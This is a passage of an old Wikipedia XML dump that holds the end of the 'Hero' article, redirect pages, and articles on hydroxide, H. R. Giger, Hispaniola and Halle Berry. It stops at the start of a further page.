Philosopher [[Hegel]] gave a central role to the &quot;hero&quot;, personalized by [[Napoleon]], as the incarnation of a particular culture's ''[[Volkgeist]]'', and thus of the general ''[[Zeitgeist]]''. [[Thomas Carlyle]]'s 1841 ''On Heroes And Hero Worship And The Heroic In History'' also accorded a key function to heroes and great men in history. Carlyle centered history on the [[biography]] of a few central individuals such as [[Oliver Cromwell]] or [[Frederick the Great]]. His heroes were political and military figures, the founders or topplers of states. His history of great men, of geniuses good and evil, sought to organize change in the advent of greatness.

Explicit defenses of Carlyle's position were rare in the second part of the 20th century. Most philosophers of history contend that the motive forces in history can best be described only with a wider lens than the one he used for his portraits. For example, [[Karl Marx]] argued that history was determined by the massive social forces at play in &quot;[[class struggle]]s&quot;, not by the individuals by whom these forces are played out. After Marx, [[Herbert Spencer]] wrote at the end of the 19th century: &quot;You must admit that the genesis of the great man depends on the long series of complex influences which has produced the [[race]] in which he appears, and the social state into which that race has slowly grown....Before he can remake his society, his society must make him.&quot;

Thus, as [[Foucault]] pointed out in his analysis of the [[Philosophy of history#Michel Foucault's analysis of historical and political discourse|historical and political discourse]], history was mainly the science of the [[sovereign]], until its reversion by the &quot;historical and political popular discourse&quot;.

The [[Annales School]], led by [[Lucien Febvre]], [[Marc Bloch]] and [[Fernand Braudel]] would contest the exaggeration of the role of individual [[subject (philosophy)|subjects]] in history. Indeed, Braudel distinguished various time-scales, one accorded to the life of an individual, another accorded to the life of a few human generations, and the last one to [[civilizations]], by which [[geography]], [[economics]] and [[demography]] play a role considerably more decisive than that of individual subjects. Foucault's conception of an &quot;archeology&quot; or [[Althusser]]'s work were attempts at thinking together these various heterogenous layers composing history.

==Operatic hero==
In [[opera]] and [[musical theatre]], the hero/heroine is often played by a [[tenor]]/[[soprano]] (more vulnerable characters are played by [[vocal weight|lyric]] voices while stronger characters are portrayed by [[vocal weight|spinto]] or [[vocal weight|dramatic]] voices.)

==The modern fictional hero==
In modern [[film|movies]], the hero is often simply an ordinary person in extraordinary circumstances, who, despite the odds being stacked against him or her, typically prevails in the end. In some movies (especially [[action movie|action movies]]), the hero may exhibit characteristics such as superhuman [[strength]] and [[endurance]] (even the point of being seen as being nearly unkillable, despite whatever damage is done to them). Often a hero in these situations has a foil, the villain, typically a charismatic evildoer who represents, leads, or himself embodies the struggle the hero is up against.

==See also==
{{wiktionarypar|hero}}
{{Wikiquote}}
* [[List of fictional heroes]]
* [[Anti-hero]]
* [[Reluctant hero]]
* [[Tragic hero]]
* [[Culture hero]]
* [[Hero City]]
* [[Hero-Fortress]]
* [[Superhero]]
* [[Xia (philosophy)]]
* [[Action hero]]
* [[Byronic hero]]

==Further reading==
* {{cite book
 | last = Rohde | first =  Erwin
 | authorlink = Erwin Rohde
 | year = 1924
 | title = Psyche
 }}
* {{cite book
 | last = Carlyle | first =  Thomas
 | year = 1985
 | title = On Heroes, Hero Worship and the Heroic in History
 | location = Oxford | publisher =  Oxford University Press
 | id = ISBN 0192500627
 }}
* {{cite book
 | last = Burkert | first =  Walter
 | authorlink = Walter Burkert
 | chapter = The dead, heroes and chthonic gods
 | title = Greek Religion
 | location = [[Cambridge, Massachusetts | Cambridge]]
 | publisher = [[Harvard University Press]]
 | year = [[1985]]
 }}
* {{cite book
 | last = Campbell | first =  Joseph
 | authorlink = Joseph Campbell
 | title = [[The Hero with a Thousand Faces]]
 | location = [[Princeton, New Jersey | Princeton]]
 | publisher = [[Princeton University Press]]
 | year = [[1949]] }}
* {{cite book
 | last = Dundes | first =  Alan | coauthors =  Otto Rank, and Lord Raglan
 | year = [[1990]]
 | title = In Quest of the Hero
 | location = [[Princeton, New Jersey | Princeton]]
 | publisher = [[Princeton University Press]]
 }}
* {{cite book
 | last = Hadas | first =  Moses  | coauthors =  Morton Smith
 | authorlink = 
 | year = [[1965]]
 | title = Heroes and Gods
 | publisher = [[HarperCollins | Harper &amp; Row]]
 }}
* Hein, David. &quot;The Death of Heroes, the Recovery of the Heroic.&quot; ''Christian Century'' 110 (1993): 1298-1303. http://www.findarticles.com/p/articles/mi_m1058/is_n37_v110/ai_14739320  '''''or'''''  http://www.questia.com/PM.qst?a=o&amp;d=5000242002
* {{cite book
 | last = Kerenyi | first =  Karl
 | authorlink = Karl Kerenyi
 | year = [[1959]]
 | title = The Heroes of the Greeks
 | location = [[London]]
 | publisher = [[Thames &amp; Hudson]]
 }}
* {{cite book
 | author = Lord Raglan
 | authorlink = Lord Raglan (author)
 | year = 1936/2003
 | title = The Hero: A Study in Tradition, Myth and Drama
 | location = Mineola, NY
 | publisher =  Dover Publications
 }}
* [[Henry Liddel]] and [[Robert Scott]]. ''[[A Greek-English Lexicon]]'' http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.04.0057

==External links==
*[http://www.ericdigests.org/2004-1/heroes.htm Exploring the Function of Heroes and Heroines in Children's Literature from around the World]
*[http://www.screenonline.org.uk/tours/heroes/tour1.html ''The British Hero''] - online exhibition from [[screenonline]], a website of the [[British Film Institute]], looking at British heroes of film and television.

[[Category:Greek mythology]]
[[Category:Lists of fictional characters]]
[[Category:Stock characters]]

[[de:Held]]
[[el:Ήρωας]]
[[eo:Heroo]]
[[es:Héroe]]
[[fi:Sankari]]
[[fr:Héros]]
[[gd:Gaisgeach]]
[[hu:Hős]]
[[it:Eroe]]
[[ja:ヒーロー]]
[[nl:Held]]
[[pl:Bohater]]
[[pt:Herói]]
[[sv:Hjälte]]
[[zh:英雄]]
[[ru:Герой]]</text>
    </revision>
  </page>
  <page>
    <title>Hilberts eighth problem</title>
    <id>13708</id>
    <revision>
      <id>15911301</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Riemann hypothesis]]
</text>
    </revision>
  </page>
  <page>
    <title>Hilberts fifth problem</title>
    <id>13709</id>
    <revision>
      <id>15911302</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Lie group]]
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  </page>
  <page>
    <title>Hydroxide</title>
    <id>13711</id>
    <revision>
      <id>36431078</id>
      <timestamp>2006-01-24T00:18:54Z</timestamp>
      <contributor>
        <ip>64.231.194.11</ip>
      </contributor>
      <text xml:space="preserve">'''Hydroxide''' is a [[polyatomic ion]] consisting of [[oxygen]] and [[hydrogen]]:

:OH&lt;sup&gt;&amp;minus;&lt;/sup&gt;

It has a charge of &amp;minus;1.  Hydroxide is one of the simplest of the polyatomic ions.

A group of [[base (chemistry)|bases]] containing hydroxide are called hydroxide bases. Hydroxide bases will dissociate into a cation and one or more hydroxide ions in water, making the solution basic. This makes hydroxides [[alkali]]s, which may undergo [[neutralisation reactions]] with [[acids]]. In general [[acid-alkali reactions]] can be simplified to

:OH&lt;sup&gt;&amp;minus;&lt;/sup&gt;(aq)  +  [[Hydronium|H&lt;sup&gt;+&lt;/sup&gt;(aq)]]  &amp;rarr;  [[water (molecule)|H&lt;sub&gt;2&lt;/sub&gt;O]]

by omitting [[spectator ions]].

Hydroxides and hydroxide ions are relatively common. Many useful chemicals and chemical processes involve hydroxides or hydroxide ions, such as [[sodium hydroxide]] (lye) is used in industry as a strong [[Base_%28chemistry%29|base]], [[potassium hydroxide]] is used in agriculture. [[Iron hydroxide]] minerals such as [[goethite]] and [[limonite]] have been used as low grade ''brown'' iron [[ore]] The [[aluminium]] ore rock, [[bauxite]], is composed largely of aluminium hydroxides.

[[Arrhenius Base]] refers to a substance that produces hydroxide ions when dissolved in [[aqueous solution]]. This means hydroxide ions are also heavily involved in the acid-base area as well as the special double displacement reaction called [[neutralization]].

==See also==
*[[Hydronium]]
*[[Oxide]]

{{chem-stub}}

[[Category:Hydroxides| ]]
[[Category:Bases]]

[[ca:Grup hidroxil]]
[[da:Hydroxid]]
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  </page>
  <page>
    <title>H R Geiger</title>
    <id>13712</id>
    <revision>
      <id>15911305</id>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[H. R. Giger]]
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  </page>
  <page>
    <title>H. R. Giger</title>
    <id>13713</id>
    <revision>
      <id>42053196</id>
      <timestamp>2006-03-03T13:57:32Z</timestamp>
      <contributor>
        <username>BorgQueen</username>
        <id>382591</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/194.223.81.75|194.223.81.75]] ([[User talk:194.223.81.75|talk]]) to last version by Valtiels Requiem</comment>
      <text xml:space="preserve">[[Image:Birth_machine.jpg|thumbnail|Birth machine]]

'''Hans Ruedi Giger''' (pronounced: GEE-ger) (born at [[Chur]], [[Grisons]] canton, [[February 5]], [[1940]]) is a [[Switzerland|Swiss]] painter best known for his design work on the film ''[[Alien (movie)|Alien]]''. 

==Work==
Giger's [[Xenomorph|Alien]] design, inspired by his painting &quot;Necronom V&quot;, earned him an [[Academy Award|Oscar]] in 1980. His fourth published book of paintings, titled ''[[Necronomicon (H. R. Giger)|Necronomicon]]'' (followed by ''[[Necronomicon II]]'' in [[1985]]), continued his rise to international prominence, as did the frequent appearance of his art in the magazine ''[[Omni (magazine)|Omni]]''. Giger is also well known for artwork on a number of popular records, including [[Emerson Lake and Palmer]]'s ''[[Brain Salad Surgery]]'' and [[Debbie Harry]]'s ''[[Koo Koo]]''.

==Style==
For most of his career, Giger has worked predominantly in [[airbrush]], creating strange monochromatic canvasses depicting [[surrealism|surreal]], nightmarish landscapes. His most distinctive stylistic innovation is that of a representation of human bodies and machines in a cold, interconnected relationship. His paintings often display [[fetishistic]] sexual imagery and are considered disturbing by some. Some of his paintings also feature [[Satanism|Satanic]] imagery, though Giger himself is not known to be a [[Satanist]]. He is largely inspired by [[Salvador Dalí]] and was a personal friend of [[Timothy Leary]]. Giger is perhaps the best known sufferer of [[night terrors]] and his paintings are all to some extent inspired by his experiences with that particular [[sleep disorder]]. As a matter of fact, he was originally educated as an [[architect]] and made his first paintings as a way of [[self therapy]].

==Obscenity lawsuit ==
Giger's artwork for the [[Dead Kennedys]]' album ''[[Frankenchrist]]'', [[work 219: Landscape XX|Landscape XX]] (nicknamed [[Penis Landscape]]), was at the center of an [[obscenity]] lawsuit against [[Jello Biafra]].

==Other works==

Giger has also created furniture designs, particularly the [[Harkonnen Capo Chair]] for an unproduced movie version of the novel ''[[Dune (novel)|Dune]]'' that was originally slated to be directed by [[Alejandro Jodorowski]] (many years later [[David Lynch]] directed the film, using none of Giger's designs). Giger has also applied his biomechanical style to interior design, and several &quot;Giger Bars&quot; sprung up in [[Tokyo]], [[New York City|New York]], and his native Switzerland, although the foreign bars have since closed. His art has greatly influenced [[tattoo]]ists and [[sexual fetish|fetishists]] worldwide. [[Ibanez]] guitars has released an H.R. Giger signature series. The [[Ibanez]] ICHRG2, an [[Ibanez]] [[Iceman]], features the work, &quot;NY City VI&quot;, and the [[Ibanez]] RGTHRG1, has the work &quot;NY City XIX&quot; printed on it.

==Pop culture==

===Movies===
* ''[[Alien (movie)|Alien]]'' 
* ''[[Dune (film)|Dune]]''
* ''[[Species (movie)|Species]]''

===Work for recording artists===
* [[Celtic Frost]]
* [[Magma (band)|Magma]]
* [[Emerson Lake and Palmer]]
* [[Deborah Harry]] (from [[Blondie (band)|Blondie]])
* [[Hide (musician)|hide]]
* [[Danzig (band)|Danzig]]
* [[Atrocity (band)|Atrocity]]
* [[Black Sun Productions]]
* [[Korn|KoЯn]]'s [[Jonathan Davis]] commissioned Giger to sculpt his microphone stand
* [[Carcass (band)|Carcass]] used ''Life Support 1993'' for the cover of their 1994 album, [[Heartwork]]. 
* Designed the stage for [[Mylene Farmer]]'s 1999 &quot;Mylenium&quot; tour.
* Designed the Cloudbuster for [[Kate Bush]]'s 1985 video Cloudbusting.

===Interior decoration===
* [[Giger Bar]]s in Switzerland's [[Chur]] and [[Gruyères]]
* [[Museum H. R. Giger]] in [[Gruyères]]

===Computer games===
* ''[[Dark Seed (game)|Dark Seed]]'' and its sequel, ''[[Dark Seed (game)|Dark Seed II]]'', both [[adventure game]]s for the [[IBM PC compatible|PC]] published by [[Cyberdreams]]. They were also released for the [[PlayStation]] in [[Japan]].

Giger is often referenced in pop culture and especially in works of the [[science fiction]] and [[cyberpunk]] genres. Novelist [[William Gibson (novelist)|William Gibson]] (who wrote the original script for ''[[Alien³]]'') seems particularly fascinated, presenting in ''[[Virtual Light]]'' a minor character, Lowell, with ''New York XXIV'' tattooed across his back. As well, Yamazaki, a secondary character in ''[[Idoru]]'' specifically describes the buildings of nanotech Japan as Giger-esque. The cartoonist and cult icon [[Jhonen Vasquez]] has said he is a fan of Giger's work in Alien.

== External links ==

* [http://www.hrgiger.com/ Official website]
* [http://www.giger.com/ Official [[United States|U.S.]] site.]
* [http://www.morpheusgallery.com Surreal Gallery featuring Giger]
* [http://www.hrgigermuseum.com/ MUSEUM HR GIGER]
* [http://www.hrgiger.com/music/korn.htm Giger's article on being commissioned to sculpt [[Jonathan Davis]]' microphone stand.]

[[Category:Swiss painters|Giger, H. R.]]
[[Category:Transgressive artists|Giger, H. R.]]
[[Category:1940 births|Giger, H. R.]][[Category:Living people|Giger, H. R.]]

[[de:Hans Ruedi Giger]] 
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  </page>
  <page>
    <title>Hispaniola</title>
    <id>13714</id>
    <revision>
      <id>40364288</id>
      <timestamp>2006-02-20T01:57:24Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:15thcenturyhispaniola.JPG|thumb|250px|right|Early map of Hispaniola]]
The island of '''Hispaniola''' (from [[Spanish language|Spanish]], ''La Española'') is the second-largest [[island]] of the [[Antilles]], lying east of [[Cuba]].  [[Christopher Columbus]] arrived there on [[December 5]], [[1492]], and on his second voyage in [[1493]] founded the first [[Spain|Spanish]] [[colony]] in the [[New World]] on it.

[[Haiti]] occupies the western third of the island; the eastern two-thirds are the [[Dominican Republic]].

The [[Taíno]] called the island ''Quisqueya'' (or ''Kiskeya''), a name still in use in both countries. It poetically refers to the Dominican Republic in that country's [[national anthem]], ''[[Quisqueyanos valientes]]''. The Spanish rechristened the island ''Santo Domingo'', and the corresponding term ''[[Saint-Domingue]]'' was taken up by the French. Another indigenous name, ''Ayiti'' or variants thereof, was reintroduced in [[1804]] as the name for independent Haiti. The name Haiti was originally intended to mean the entire island, not just the western part, and in fact the present-day Dominican Republic was known briefly as [[Spanish Haiti]]. ''Bohio'' is yet a third indigenous name for the island.

[[Image:hispaniola_lrg.jpg|thumb|340px|Topography map of Hispaniola]]
{|
|- valign=top bgcolor=&quot;#FFD700&quot;
! country
! [[population]]&lt;br&gt;(2002-07-01 est.)
! [[area]]&lt;br&gt;(km&amp;sup2;)
! [[population density|density]]&lt;br&gt;(per km&amp;sup2;)
|-
||[[Haiti]]
| align=right|7,063,722
| align=right|27,750
| align=right|255
|-
||[[Dominican Republic]]
| align=right|8,721,594
| align=right|48,730
| align=right|179
|-
!
! align=right|15,785,316
! align=right|[[1 E10 m²|76,480]]
! align=right|206
|}

After the French gained control of the western part of Hispaniola through the [[Treaty of Ryswick]], the western part quickly came to overshadow the east in both wealth and population. Indeed, the population of the Dominican Republic did not overtake that of Haiti until about [[1970]]. Haitians conquered the eastern part of the island on several occasions: in the [[1790s]] under [[Toussaint Louverture]] and in [[1821]]-[[1822]] under [[Jean-Pierre Boyer]].
&lt;!-- what about Dessalines and Soulouqe, now? --&gt;

==Geography==

Hispaniola is the second-largest island in the [[Caribbean]] (after [[Cuba]]), with an area of 76,480 km&amp;sup2;. The island of Cuba lies to the northwest across the [[Windward Passage]]; to the southwest lies [[Jamaica]], separated by the [[Jamaica Channel]]. [[Puerto Rico]] lies east of Hispaniola across the [[Mona Passage]]. The [[Bahamas]] and [[Turks and Caicos Islands]] lie to the north.

Cuba, Hispaniola, Jamaica, and Puerto Rico are collectively known as the [[Greater Antilles]]. The Greater Antilles are made up of [[continent]]al rock, as distinct from the [[Lesser Antilles]], which are mostly young [[volcano|volcanic]] or coral islands.

The Island has five major mountain ranges: The Central Range, known in the Dominican Republic as the ''Cordillera Central'', span the central part of the island, extending from the south coast of the Dominican Republic into northwestern Haiti, where they are known as the ''Massif du Nord''.  This mountain range boasts the highest peak in the Antilles, [[Pico Duarte]] (3,087 meters above [[sea level]]). The ''Cordillera Septentrional'' runs parallel to the Central Range across the northern end of the Dominican Republic, extending into the [[Atlantic Ocean]] as the [[Samaná]] Peninsula. The highest point in the ''Cordillera Septentrional'' is [[Pico Diego de Ocampo]]. The ''Cordillera Central'' and ''Cordillera Septentrional'' are separated by the lowlands of the [[Cibao Valley]] and the Atlantic coastal plains, which extend westward into Haiti as the ''Plaine du Nord'' (Northern Plain). The lowest of the ranges is the ''Cordillera Oriental'', in the eastern part of the country. 

The ''Sierra de Neiba'' rises in the southwest of the Dominican Republic, and continues northwest into Haiti, parallel to the ''Cordillera Central'', as the ''Montagnes Noires'', ''Chaîne des Matheux'' and the ''Montagnes du Trou d'Eau''. ''The Plateau Central'' lies between the ''Massif du Nord'' and the ''Montagnes Noires'', and the ''Plaine de l'Artibonite'' lies between the ''Montagnes Noires'' and the ''Chaîne des Matheux'', opening westward toward the [[Gulf of Gonâves]]. 

The southern range begins in the southwesternmost Dominican Republic as the Sierra de Baoruco, and extends west into Haiti as the Massif de la Selle and   the Massif de la Hotte, which form the mountainous spine of Haiti's southern peninsula. [[Morne de la Selle]] is the highest peak in the southern range and is the highest point in Haiti, at 2,715 meters above sea level. A depression runs parallel to the southern range, between the southern range and the ''Chaîne des Matheux''-''Sierra de Neiba''. It is known as the ''Plaine du Cul-de-Sac'' in Haiti, and Haiti's capital [[Port-au-Prince]] lies at its western end. The depression is home to a chain of salty lakes, including the [[Saumatre Lagoon]] in Haiti and [[Lake Enriquillo]] in the Dominican Republic.

==Ecology==
The climate of Hispaniola is generally [[humid]] and [[tropical]]. The island has four distinct [[ecoregion]]s. The [[Hispaniolan moist forests]] ecoregion covers approximately 50% of the island, especially the northern and eastern portions, predominantly in the lowlands but extending up to 2100 meters elevation. The [[Hispaniolan dry forests]] ecoregion occupies approximately 20% of the island, lying in the [[rain shadow]] of the mountains in the southern and western portion of the island and in the [[Cibao]] valley in the center-north of the island. The [[Hispaniolan pine forests]] occupy the mountainous 15% of the island, above 850 meters elevation. The [[Enriquillo wetlands]] are a [[flooded grasslands and savannas]] ecoregion that surround a chain of lakes and lagoons that includes [[Lake Enriquillo]], [[Rincón Lagoon]], and [[Lake Caballero]] in the Dominican Republic and [[Saumatre Lagoon]] and [[Trou Cayman]] in Haiti.

==External links==
*[http://maps.google.com/maps?ll=18.907471,-71.191406&amp;spn=5.218506,8.107910&amp;t=k&amp;hl=en Google maps] 



[[Category:Caribbean islands]]
[[Category:Geography of the Dominican Republic]]
[[Category:Geography of Haiti]]

[[zh-min-nan:Sió-se-pan-gâ]]
[[ca:Hispaniola]]
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  </page>
  <page>
    <title>Halle Berry</title>
    <id>13717</id>
    <revision>
      <id>41956099</id>
      <timestamp>2006-03-02T21:42:05Z</timestamp>
      <contributor>
        <username>Yamla</username>
        <id>128551</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Bigblog|Bigblog]] ([[User talk:Bigblog|talk]]) to last version by Ben King</comment>
      <text xml:space="preserve">[[Image:HBerry_Vogue_cover.jpg|200px|thumb|Halle Berry on the cover of ''[[Vogue (magazine)|Vogue]]'' (Dec 2002).]]
'''Halle Maria Berry''' (born [[August 14]], [[1966]]) is an [[Academy Award]]-winning [[Actor|actress]] and model.

==Biography==
===Early life and career===
Halle Berry was named after Halle's Department Store, a local landmark in her birthplace of [[Cleveland, Ohio]]. She is the daughter of Judith Ann Hawkins, a caucasian of [[England|English]] ancestry, and Jerome J. Berry, who is [[African-American]]. Berry's maternal grandmother, Nellie Dicken, was born in Sawley, [[Derbyshire]], [[England]], while her maternal grandfather, Earl Ellsworth Hawkins, was born in [[Ohio]]. Berry's parents divorced when she was 4 years old and she subsequently was raised by her mother, a psychiatric-ward nurse. She also has an older sister, Heidi.

Berry was a popular student at [[Bedford, Ohio|Bedford]] High School and was a [[cheerleader]], [[honor society]] member, editor of the school [[newspaper]], class president and [[prom|prom queen]]. She worked in the children's department at Higbee's Department Store. Her personality, as described by a co-worker, was expressed in these terms...&quot;I can hardly believe how sweet and nice she had been to everyone.  People who weren't half as beautiful as she did not display the kind of inner beauty she exhibited.&quot;  She subsequently attended [[Cuyahoga Community College]].

Before becoming an actress, she entered several [[beauty contest]]s, including Miss Ohio USA, Miss Teen All American, [[Miss USA]] (first runner-up in [[1986]]) and [[Miss World]].

===Hollywood career===
In the late 1980s, she went to [[Chicago, Illinois|Chicago]] to pursue a [[model (person)|modeling]] career as well as acting. One of her first acting projects was a [[television series]] for local [[cable television|cable]] by Gordon Lake Productions called &quot;Chicago Force.&quot;

Berry auditioned for a role in an updated ''[[Charlie's Angels]]'' television series by producer [[Aaron Spelling]]. At the time, Spelling wanted one of the &quot;Angels&quot; to be an [[African American]] woman.  She did not get the role (because the project never materialized) but she impressed Spelling with her skills, who encouraged her to continue perfecting her craft. 

In [[1989]], Berry landed the role of brainy Emily Franklin in the short-lived ABC television series ''[[Living Dolls]]'' (which was a spin-off of ''[[Who's the Boss?]]''). Her breakthrough [[feature film]] role was in [[Spike Lee]]'s  ''[[Jungle Fever]]'' where she played a [[drug addict]] named Vivian.  Her first co-starring role was in the film ''[[Strictly Business]]''. Another one of her early roles was in a supporting capacity in the ''[[The Flintstones (movie)|Flintstones]]'' movie where she played &quot;Sharon Stone&quot; (a part rumored to have been intended for Sharon Stone).  Berry would co-star alongside Stone in [[Catwoman]].  The year before, Berry really caught the public's attention with her portrayal as a female slave in the TV adaption of ''[[Queen: The Story of an American Family]]''.

Berry is also known by most comic book fans for her portrayal of Storm in the movie adaptation of the successful comic book ''[[X-Men (film)|X-Men]]'' (2000) and its successful sequel  ''[[X2 (film)|X2: X-Men United]]'' (2003). Berry will reprise her role again in the third installment ''[[X-Men 3 (film)|X-Men 3]]'' scheduled for a May 2006 release. In late 2003 Berry starred in the thriller ''[[Gothika]]'', which was the first film that she &quot;carried,&quot; i.e., her role was the most important one in the film.

Known for her beauty, Halle as served many years as the face of Revlon cosmetics and was recently named the new face of Versace.

===Personal life===
Berry has been [[marriage|married]] twice. Her first marriage in [[1992]] to [[baseball]] player [[David Justice]] ended in a [[1996]] [[divorce]] due to [[adultery|infidelity]]. Her second marriage in [[2001]] to [[musician]] [[Eric Benét]] has resulted in a [[2004]] [[Legal separation|separation]] (and [[2005]] [[divorce]]) reportedly due to Benét's infidelity. She has said that she will never marry again. After her divorce, she had a brief romantic relationship with up-and-coming [[actor]] [[Rey-Phillip Santos]]. Although she does not have any children herself, she is close to her step-daughter, India, from her marriage to Benét. Berry has also recently dated actor [[Michael Ealy]], her costar in ''[[Their Eyes Were Watching God]]''. Her current beau is [[Canadian]] [[Model (person)|model]] Gabriel Aubry, whom she met while shooting an ad for [[Versace]] in November 2005.

==Film Awards==
[[Image:HalleBerryReceivesAcademyAward.jpg|right|thumb|150px|Berry winning [[Academy Award for Best Actress|Best Actress]] at the [[74th Academy Awards]].]]
*Berry won the best actress [[Academy_award|Oscar]] in [[2002 in film|2002]] for ''[[Monster's Ball]]'', becoming the first [[African American]] woman to win this award.

*Berry won an [[Emmy]] and a [[Golden Globe]] in [[1999 in film|1999]] for ''Outstanding Lead Actress in a Miniseries or a Movie'' for her portrayal of [[Dorothy Dandridge]] in the [[Home Box Office|HBO]] movie ''[[Introducing Dorothy Dandridge]]''. Interestingly, [[Dorothy Dandridge]] was the first African American woman to be nominated for a best actress Academy Award. Another similarity the two women shared was being born in the same hospital.

*Berry &quot;won&quot; a [[Razzie]] for her starring role in [[2004]]'s ''[[Catwoman (movie)|Catwoman]]''.  She made headlines by accepting her award in person, an unusual gesture that was last performed by [[Tom Green]] in 2001.  Berry accepted her award with dignity, saying, &quot;When I was a kid, my mother told me that if you could not be a good loser, then there's no way you could be a good winner&quot; but adding &quot;I hope to God I never see these people again!&quot; shortly afterward. At the podium, she appeared with her [[Razzie]] in one hand, and her 2002 [[Academy Award|Oscar]] in the other (see e.g. [http://news.bbc.co.uk/1/hi/entertainment/film/4301783.stm BBC News]).

*Halle Berry won The [[Hasty Pudding Theatricals]] Woman of the year Award for year 2006.

==Controversy==
*In February [[2000]], she was involved in a [[car accident]] when she struck another vehicle after running a red light and left the scene before the police arrived. Berry, who had sustained a head injury, later stated she had no recollection of the accident and pleaded [[nolo contendere|no contest]] to a misdemeanor charge. She paid a fine, made restitution to the other driver, performed community services, and was placed on three years&amp;#8217; probation.

*Having long refused to do any nude scenes, much was made of her first topless scene in the film ''[[Swordfish (film)|Swordfish]]'', a thirty-second scene. She followed this with a more extended nude love scene in ''[[Monster's Ball]]''. Her appearance in this film won her the [[Academy Award for Best Actress]] in 2002. As [[Bond Girl]] Jinx in 2002's ''[[Die Another Day]]'' she famously re-created the scene from ''[[Dr. No]]'', bursting from the surf - scantily clad - to be greeted by [[James Bond]], as [[Ursula Andress]] did 40 years earlier.

==Trivia==
*In 2003, Berry was named No. 1 in [[FHM]]'s [[FHM 100 Sexiest Women in the World 2003|100 Sexiest Women in the World]] poll.
*In 2005, She was No.1 on [[VH1]]'s top 50 Sexiest Bodies countdown.
*Also in 2003, Berry was on ''[[Punk'd]]'', [[MTV]]'s celebrity prank show.
*She has [[diabetes]] and acquired [[unilateral hearing loss]] (80% hearing loss in one ear) after being severely beaten by a former boyfriend.  Accounts differ as to whether the abusive boyfriend was [[Wesley Snipes]] or [[Christopher Williams (singer)|Christopher Williams]]. 
*Dated actor Rey-Phillip Santos.
*Dated actor [[Michael Ealy]], her costar in ''[[Their Eyes Were Watching God]]''.
*She was rumoured to have six toes due to this image. [http://www.murphyinthemorning.com/jpg/halle-berry/halle_berry_toes1.jpg]
*Her measurements are 36C-22-37.
*In a rare move, Berry accepted her [[Razzie]] for ''[[Catwoman (film)|Catwoman]]'' in person, and in her acceptance speech she said, &quot;First of all, I want to thank [[Warner Brothers]]. Thank you for putting me in this piece of shit, God-awful movie...&quot; Her statement was received with great applause and laughter. [http://66.102.142.54/raznet/HB_03.wmv]

==Filmography==
*''[[Jungle Fever]]'' ([[1991]])
*''[[Strictly Business]]'' ([[1991]])
*''[[The Last Boy Scout]]'' ([[1991]])
*''[[Boomerang (film)|Boomerang]]'' ([[1992]])
*''[[CB4]]'' ([[1993]]) (Cameo)
*''Father Hood'' ([[1993]])
*''[[The Program]]'' ([[1993]])
*''[[The Flintstones (film)|The Flintstones]]'' ([[1994]])
*''[[Losing Isaiah]]'' ([[1995]])
*''[[Executive Decision]]'' ([[1996]])
*''Race the Sun'' ([[1996]])
*''[[Girl 6]]'' ([[1996]]) (Cameo)
*''The Rich Man's Wife'' ([[1996]])
*''[[B*A*P*S]]'' ([[1997]])
*''[[Bulworth]]'' ([[1998]])
*''[[Why Do Fools Fall in Love (film)|Why Do Fools Fall In Love]]'' ([[1998]])
*''[[Introducing Dorothy Dandridge]]''([[1999]])
*''[[X-Men]]'' ([[2000]])
*''Welcome to Hollywood'' ([[2000]]) (documentary)
*''[[Swordfish (film)]]'' ([[2001]])
*''[[Monster's Ball]]'' ([[2001]])
*''[[Die Another Day]]'' ([[2002]])
*''[[X2 (film)|X2]]'' ([[2003]])
*''[[Gothika]]'' ([[2003]])
*''[[Catwoman (film)|Catwoman]]'' ([[2004]])
*''[[Robots (film)|Robots]]'' ([[2005]]) (voice)
Upcoming:
*''[[X-Men 3]]'' ([[2006]]) 
*''Perfect Stranger'' ([[2006]])

==TV work==
*''[[Living Dolls]]'' ([[1989]]) (cancelled after 13 episodes)
*''[[Knots Landing]]'' (cast member in [[1991]])
*''[[Queen: The Story of an American Family]]'' ([[1993]]) (miniseries)
*''Solomon &amp; Sheba'' ([[1995]])
*''[[The Wedding]]'' ([[1998]])
*''[[Introducing Dorothy Dandridge]]'' ([[1999]]) (also executive producer)
*''[[Their Eyes Were Watching God (2005 television)|Their Eyes Were Watching God]]'' ([[2005]])

{{start box}}
{{succession box | before = [[Michelle Pfeiffer]] | title = [[Actress to portray the Catwoman]] | years = 2004- | after = incumbent}}

==External links==
{{wikiquote}}
*{{imdb name|id=0000932|name=Halle Berry}}
* {{tvtome person|id=36887|name=Halle Berry}}
* [http://www.hallewood.com Halle Berry's Official website]
* [http://www.pbs.org/kcet/tavissmiley/archive/200512/20051206.html Interview with Halle Berry] on the [[Tavis Smiley]] show

[[Category:1966 births|Berry, Halle]]
[[Category:Living people|Berry, Halle]]

[[Category:Actors|Berry, Halle]]
[[Category:African-American actors|Berry, Halle]]
[[Category:American actors|Berry, Halle]]
[[Category:American film actors|Berry, Halle]]
[[Category:American television actors|Berry, Halle]]
[[Category:Beauty pageant contestants|Berry, Halle]]
[[Category:Best Actress Oscar|Berry, Halle]]
[[Category:Bond girls|Berry, Halle]]
[[Category:Clevelanders|Berry, Halle]]
[[Category:Diabetics|Berry, Halle]]
[[Category:Emmy Award winners|Berry, Halle]]
[[Category:English Americans|Berry, Halle]]
[[Category:Film actors|Berry, Halle]]
[[Category:Multiracial Americans|Berry, Halle]]
[[Category:American television actors|Berry, Halle]]
[[Category:Worst Actress Razzie|Berry, Halle]]
[[Category:X-Men actors|Berry, Halle]]
[[Category:American women|Berry, Halle]]
[[Category:Knots Landing actors|Berry, Halle]]


[[da:Halle Berry]]
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[[ja:ハリー・ベリー]]
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[[zh:哈莉·貝瑞]]</text>
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  </page>
  <page>
    <title>Hairy Arm</title>
    <id>13718</id>
    <revision>
      <id>15911311</id>
